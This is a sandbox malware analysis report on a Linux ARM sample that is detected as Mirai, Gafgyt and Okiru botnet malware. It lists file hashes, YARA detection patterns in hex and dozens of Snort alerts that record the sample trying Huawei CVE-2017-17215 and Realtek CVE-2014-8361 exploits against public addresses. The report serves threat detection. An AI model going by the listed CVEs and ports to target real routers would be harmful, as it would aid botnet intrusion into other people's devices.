Edit tour

Linux Analysis Report
U6YcZ2TLtT.elf

Overview

General Information

Sample name:	U6YcZ2TLtT.elf renamed because original name is a hash value
Original sample name:	05281ffd97f99c88de131a2e54fc0f07.elf
Analysis ID:	1477277
MD5:	05281ffd97f99c88de131a2e54fc0f07
SHA1:	f1b1c4c9712a7c164647f2a4c678e61c6b14bbda
SHA256:	424faa1cc3ca52161e53ab0b671a052dfbdad37251e589caf3bb30f351154c28
Tags:	32armelfgafgyt
Infos:

Detection

Mirai, Gafgyt, Okiru

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Detected Mirai

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Gafgyt

Yara detected Mirai

Yara detected Okiru

Connects to many ports of the same IP (likely port scanning)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample contains strings that are potentially command strings

Sample has stripped symbol table

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1477277
Start date and time:	2024-07-20 23:00:12 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	U6YcZ2TLtT.elf renamed because original name is a hash value
Original Sample Name:	05281ffd97f99c88de131a2e54fc0f07.elf
Detection:	MAL
Classification:	mal100.troj.linELF@0/3@8/0

Warnings

Connection to analysis system has been lost, crash info: Unknown
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/U6YcZ2TLtT.elf
PID:	5488
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	done.
Standard Error:

Process Tree

system is lnxubuntu20

U6YcZ2TLtT.elf (PID: 5488, Parent: 5410, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/U6YcZ2TLtT.elf

U6YcZ2TLtT.elf New Fork (PID: 5490, Parent: 5488)

U6YcZ2TLtT.elf New Fork (PID: 5492, Parent: 5490)

U6YcZ2TLtT.elf New Fork (PID: 5494, Parent: 5490)

U6YcZ2TLtT.elf New Fork (PID: 5496, Parent: 5490)

U6YcZ2TLtT.elf New Fork (PID: 5497, Parent: 5490)

U6YcZ2TLtT.elf New Fork (PID: 5500, Parent: 5490)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Name	Description	Attribution	Blogpost URLs	Link
Bashlite, Gafgyt	Bashlite is a malware family which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS). Originally it was also known under the name Bashdoor, but this term now refers to the exploit method used by the malware. It has been used to launch attacks of up to 400 Gbps.	No Attribution	http://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/ https://blog.cyber5w.com/gafgyt-backdoor-analysis https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/ https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
U6YcZ2TLtT.elf	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
U6YcZ2TLtT.elf	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
U6YcZ2TLtT.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
U6YcZ2TLtT.elf	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
U6YcZ2TLtT.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
U6YcZ2TLtT.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1f228:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f23c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f250:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f264:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f278:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f28c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f2a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f2b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f2c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f2dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f2f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f304:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f318:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f32c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f340:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f354:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f368:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f37c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f390:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f3a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f3b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Click to see the 1 entries

Memory Dumps

Source	Rule	Description	Author	Strings
5488.1.00007f9260017000.00007f926003a000.r-x.sdmp	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
5488.1.00007f9260017000.00007f926003a000.r-x.sdmp	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
5488.1.00007f9260017000.00007f926003a000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5488.1.00007f9260017000.00007f926003a000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5488.1.00007f9260017000.00007f926003a000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5488.1.00007f9260017000.00007f926003a000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1f228:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f23c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f250:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f264:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f278:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f28c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f2a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f2b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f2c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f2dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f2f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f304:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f318:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f32c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f340:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f354:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f368:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f37c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f390:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f3a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1f3b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: U6YcZ2TLtT.elf PID: 5488	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
Process Memory Space: U6YcZ2TLtT.elf PID: 5488	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: U6YcZ2TLtT.elf PID: 5488	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: U6YcZ2TLtT.elf PID: 5488	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: U6YcZ2TLtT.elf PID: 5488	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1243f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x12453:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x12467:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1247b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1248f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x124a3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x124b7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x124cb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x124df:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x124f3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x12507:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1251b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1252f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x12543:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x12557:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1256b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1257f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x12593:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x125a7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x125bb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x125cf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Click to see the 6 entries

Snort Signatures

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 170.123.158.68

Timestamp:	07/20/24-23:01:13.329204
SID:	2831300
Source Port:	40100
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.133.187.180

Timestamp:	07/20/24-23:01:19.231228
SID:	2835222
Source Port:	59228
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 105.221.149.154

Timestamp:	07/20/24-23:01:29.177783
SID:	2027339
Source Port:	33776
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.245.238.163

Timestamp:	07/20/24-23:01:02.410932
SID:	2829579
Source Port:	52068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.189.47.250

Timestamp:	07/20/24-23:01:11.456952
SID:	2835222
Source Port:	34732
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.120.237.5

Timestamp:	07/20/24-23:01:05.892501
SID:	2829579
Source Port:	33168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 119.151.177.108

Timestamp:	07/20/24-23:01:19.221962
SID:	2829579
Source Port:	44188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 133.108.198.161

Timestamp:	07/20/24-23:01:28.386042
SID:	2829579
Source Port:	55342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.199.112.223

Timestamp:	07/20/24-23:01:07.683360
SID:	2829579
Source Port:	42210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 176.163.228.117

Timestamp:	07/20/24-23:01:25.026082
SID:	2025132
Source Port:	59244
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 157.6.186.252

Timestamp:	07/20/24-23:01:32.304220
SID:	2025132
Source Port:	57032
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.4.255.227

Timestamp:	07/20/24-23:01:07.668267
SID:	2835222
Source Port:	54126
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.42.104.185

Timestamp:	07/20/24-23:01:14.397316
SID:	2835222
Source Port:	52822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.22.117.180

Timestamp:	07/20/24-23:01:14.399761
SID:	2835222
Source Port:	40244
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 97.0.242.117

Timestamp:	07/20/24-23:01:33.037346
SID:	2835222
Source Port:	52652
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 98.8.145.55

Timestamp:	07/20/24-23:01:25.046669
SID:	2025132
Source Port:	59386
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 50.38.227.2

Timestamp:	07/20/24-23:01:11.454417
SID:	2835222
Source Port:	51980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 13.209.236.20

Timestamp:	07/20/24-23:01:14.406708
SID:	2829579
Source Port:	44946
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.12.162.172

Timestamp:	07/20/24-23:01:07.680629
SID:	2829579
Source Port:	44602
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.177.30.83

Timestamp:	07/20/24-23:01:02.441202
SID:	2835222
Source Port:	58446
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.207.30.18

Timestamp:	07/20/24-23:01:14.440842
SID:	2829579
Source Port:	52294
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 139.231.65.139

Timestamp:	07/20/24-23:01:29.508708
SID:	2025132
Source Port:	36212
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 58.133.29.249

Timestamp:	07/20/24-23:01:34.899681
SID:	2831300
Source Port:	33750
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.88.129.45

Timestamp:	07/20/24-23:01:02.416600
SID:	2829579
Source Port:	33058
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.88.167.36

Timestamp:	07/20/24-23:01:37.199306
SID:	2835222
Source Port:	60522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 19.177.37.36

Timestamp:	07/20/24-23:01:19.337916
SID:	2835222
Source Port:	38148
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 107.169.50.209

Timestamp:	07/20/24-23:01:29.170915
SID:	2027339
Source Port:	33948
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 146.102.177.163

Timestamp:	07/20/24-23:01:29.707353
SID:	2025132
Source Port:	47810
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.153.238.151

Timestamp:	07/20/24-23:01:22.774812
SID:	2829579
Source Port:	37864
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 138.235.159.241

Timestamp:	07/20/24-23:01:34.690310
SID:	2027339
Source Port:	53092
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 27.8.13.50

Timestamp:	07/20/24-23:01:24.624362
SID:	2025132
Source Port:	47004
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 61.120.214.221

Timestamp:	07/20/24-23:01:25.289824
SID:	2829579
Source Port:	39792
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.14.113.103

Timestamp:	07/20/24-23:01:33.050087
SID:	2829579
Source Port:	49048
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 185.142.167.93

Timestamp:	07/20/24-23:01:24.446551
SID:	2025132
Source Port:	36354
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 157.159.16.125

Timestamp:	07/20/24-23:01:13.330897
SID:	2027339
Source Port:	43106
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.27.129.166

Timestamp:	07/20/24-23:01:19.227537
SID:	2835222
Source Port:	49074
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 74.231.66.1

Timestamp:	07/20/24-23:01:13.333560
SID:	2831300
Source Port:	43006
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 181.146.224.142

Timestamp:	07/20/24-23:01:13.330714
SID:	2831300
Source Port:	54148
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 175.5.21.0

Timestamp:	07/20/24-23:01:33.372322
SID:	2025132
Source Port:	35798
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.242.103.0

Timestamp:	07/20/24-23:01:19.231228
SID:	2829579
Source Port:	46576
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 110.189.251.29

Timestamp:	07/20/24-23:01:34.972618
SID:	2027339
Source Port:	36140
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.227.1.44

Timestamp:	07/20/24-23:01:14.398477
SID:	2829579
Source Port:	43578
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.206.47.196

Timestamp:	07/20/24-23:01:22.762116
SID:	2835222
Source Port:	47500
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.92.243.137

Timestamp:	07/20/24-23:01:11.472602
SID:	2829579
Source Port:	34188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 208.42.117.191

Timestamp:	07/20/24-23:01:23.032933
SID:	2025132
Source Port:	42106
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 157.172.195.68

Timestamp:	07/20/24-23:01:32.133536
SID:	2025132
